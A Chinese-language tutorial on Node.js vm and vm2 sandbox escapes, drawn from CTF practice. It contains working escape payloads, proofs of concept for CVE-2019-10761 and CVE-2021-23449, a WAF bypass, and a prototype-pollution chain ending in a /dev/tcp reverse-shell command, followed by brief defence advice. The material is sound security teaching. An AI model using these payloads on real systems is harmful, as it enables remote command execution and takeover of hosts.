NodeJS沙箱逃逸
字数 1863 2025-08-22 12:22:24

NodeJS沙箱逃逸全面解析

一、沙箱基础概念

1.1 沙箱的定义与作用

沙箱是一种安全机制,通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供安全环境。在Node.js中,沙箱主要用于:

  • 隔离不信任代码的执行环境
  • 防止恶意代码影响宿主系统
  • 提供可控的资源访问权限

1.2 Node.js中的作用域

Node.js中有三种主要作用域:

  1. 全局作用域(Global Scope)

    • 通过global对象访问
    • 包含consoleprocessBuffer等内置对象
    • 所有模块均可访问
  2. 模块作用域(Module Scope)

    • 每个Node.js文件是一个独立模块
    • 默认变量和函数不暴露给其他模块
    • 通过module.exportsexports显式导出
  3. VM沙箱作用域

    • 通过vm模块创建的全新作用域
    • 与其他作用域隔离
    • 可自定义初始环境

二、Node.js VM模块详解

2.1 核心API

  1. vm.Script

    • new vm.Script(code[, options]):创建预编译脚本对象
    • script.runInContext(contextifiedSandbox[, options]):在指定上下文执行
    • script.runInNewContext([sandbox[, options]]):创建新上下文并执行
  2. vm.createContext([sandbox[, options]])

    • 创建独立的上下文(沙箱)
    • 可包含预定义变量和函数
    • 无法访问global中的属性
  3. vm.runInContext(code, contextifiedSandbox[, options])

    • 在指定上下文中执行代码
    • 参数值与沙箱内参数值相同
  4. vm.runInNewContext(code[, sandbox[, options]])

    • createContext()runInContext()的结合
  5. vm.runInThisContext(code[, options])

    • 在当前上下文中运行代码
    • 可直接访问当前作用域变量

2.2 VM沙箱特性

  • 沙箱中可以访问global中的属性
  • 无法访问其他包的属性(本地属性)
  • 通过创建新的作用域实现隔离

三、VM沙箱逃逸技术

3.1 基础逃逸方法

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

原理分析

  1. this指向传递给runInNewContext的对象
  2. 访问this.constructor.constructor获取Function构造器
  3. 由于继承关系,Function构造器作用域是全局
  4. 执行代码获取外部global对象

3.2 绕过Object.create(null)

当沙箱使用Object.create(null)创建时:

const vm = require('vm');
const script = `(function(){
    const a = {}
    a.toString = function() {
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
})()`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res);

技术要点

  1. 利用arguments.callee.caller获取调用者
  2. 重写toString方法触发执行
  3. 通过字符串拼接自动调用toString

四、VM2沙箱逃逸技术

VM2在VM基础上增加了更多安全限制,主要利用Proxy特性进行防护。

4.1 CVE-2019-10761 (VM2 <=3.6.10)

"use strict";
const {VM} = require('vm2');
const untrusted = `const f = Buffer.prototype.write;
const ft = { length: 10, utf8Write(){ }}
function r(i){
    var x = 0;
    try{ x = r(i); }catch(e){}
    if(typeof(x)!=='number') return x;
    if(x!==i) return x+1;
    try{ f.call(ft); }catch(e){ return e; }
    return null;}
var i=1;while(1){
    try{ i=r(i).constructor.constructor("return process")(); break; }
    catch(x){ i++; }
}i.mainModule.require("child_process").execSync("whoami").toString()`;
try{ console.log(new VM().run(untrusted));}
catch(x){ console.log(x);}

4.2 CVE-2021-23449

利用import()语法绕过沙箱:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

替代POC

Symbol = {
    get toStringTag(){
        throw f=>f.constructor("return process")()
    }
};
try{ Buffer.from(new Map());}
catch(f){
    Symbol = {};
    f(mainModule.require("child_process").execSync("whoami").toString();
}

五、实战案例分析

5.1 NKCTF-2024例题分析

题目代码关键部分

function waf(code) {
    let pattern = /(process|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function(req, res){
    let code = req.body.code;
    let sandbox = Object.create(null);
    let context = vm.createContext(sandbox);
    try {
        waf(code)
        let result = vm.runInContext(code, context);
        console.log(result);
    } catch(e){
        console.log(e.message);
        require('./hack');
    }
})

绕过WAF的Payload

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

绕过技术

  1. 使用String.fromCharCode构造被过滤的关键字
  2. 利用反射获取被过滤的对象和方法:
    Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('pro')))
    

5.2 HZNUCTF eznode例题

原型链污染+VM2逃逸

{
    "shit":1,
    "__proto__":{
        "shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"
    }
}

利用链

  1. 通过__proto__污染原型链
  2. 设置shellcode属性为VM2逃逸Payload
  3. 触发backdoor()函数执行污染后的shellcode

六、防御建议

  1. 避免使用不受信任的代码:尽可能不要执行用户输入的代码
  2. 严格过滤输入:对沙箱中执行的代码进行严格的白名单过滤
  3. 使用最新版本:及时更新VM2等沙箱模块,修复已知漏洞
  4. 最小权限原则:沙箱环境只提供必要的最小权限
  5. 深度防御:结合多种安全机制,不依赖单一防护

七、总结

Node.js沙箱逃逸技术主要利用:

  1. JavaScript原型链特性
  2. 作用域继承关系
  3. 全局对象访问路径
  4. 语言特性的巧妙组合

理解这些技术原理有助于开发更安全的沙箱环境,同时也能帮助安全人员更好地评估系统安全性。

NodeJS沙箱逃逸全面解析 一、沙箱基础概念 1.1 沙箱的定义与作用 沙箱是一种安全机制,通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供安全环境。在Node.js中,沙箱主要用于: 隔离不信任代码的执行环境 防止恶意代码影响宿主系统 提供可控的资源访问权限 1.2 Node.js中的作用域 Node.js中有三种主要作用域: 全局作用域(Global Scope) : 通过 global 对象访问 包含 console 、 process 、 Buffer 等内置对象 所有模块均可访问 模块作用域(Module Scope) : 每个Node.js文件是一个独立模块 默认变量和函数不暴露给其他模块 通过 module.exports 或 exports 显式导出 VM沙箱作用域 : 通过 vm 模块创建的全新作用域 与其他作用域隔离 可自定义初始环境 二、Node.js VM模块详解 2.1 核心API vm.Script : new vm.Script(code[, options]) :创建预编译脚本对象 script.runInContext(contextifiedSandbox[, options]) :在指定上下文执行 script.runInNewContext([sandbox[, options]]) :创建新上下文并执行 vm.createContext([ sandbox[ , options]]) : 创建独立的上下文(沙箱) 可包含预定义变量和函数 无法访问global中的属性 vm.runInContext(code, contextifiedSandbox[ , options]) : 在指定上下文中执行代码 参数值与沙箱内参数值相同 vm.runInNewContext(code[ , sandbox[ , options]]) : createContext() 和 runInContext() 的结合 vm.runInThisContext(code[ , options]) : 在当前上下文中运行代码 可直接访问当前作用域变量 2.2 VM沙箱特性 沙箱中可以访问global中的属性 无法访问其他包的属性(本地属性) 通过创建新的作用域实现隔离 三、VM沙箱逃逸技术 3.1 基础逃逸方法 原理分析 : this 指向传递给 runInNewContext 的对象 访问 this.constructor.constructor 获取Function构造器 由于继承关系,Function构造器作用域是全局 执行代码获取外部global对象 3.2 绕过Object.create(null) 当沙箱使用 Object.create(null) 创建时: 技术要点 : 利用 arguments.callee.caller 获取调用者 重写 toString 方法触发执行 通过字符串拼接自动调用 toString 四、VM2沙箱逃逸技术 VM2在VM基础上增加了更多安全限制,主要利用Proxy特性进行防护。 4.1 CVE-2019-10761 (VM2 <=3.6.10) 4.2 CVE-2021-23449 利用 import() 语法绕过沙箱: 替代POC : 五、实战案例分析 5.1 NKCTF-2024例题分析 题目代码关键部分 : 绕过WAF的Payload : 绕过技术 : 使用 String.fromCharCode 构造被过滤的关键字 利用反射获取被过滤的对象和方法: 5.2 HZNUCTF eznode例题 原型链污染+VM2逃逸 : 利用链 : 通过 __proto__ 污染原型链 设置 shellcode 属性为VM2逃逸Payload 触发 backdoor() 函数执行污染后的 shellcode 六、防御建议 避免使用不受信任的代码 :尽可能不要执行用户输入的代码 严格过滤输入 :对沙箱中执行的代码进行严格的白名单过滤 使用最新版本 :及时更新VM2等沙箱模块,修复已知漏洞 最小权限原则 :沙箱环境只提供必要的最小权限 深度防御 :结合多种安全机制,不依赖单一防护 七、总结 Node.js沙箱逃逸技术主要利用: JavaScript原型链特性 作用域继承关系 全局对象访问路径 语言特性的巧妙组合 理解这些技术原理有助于开发更安全的沙箱环境,同时也能帮助安全人员更好地评估系统安全性。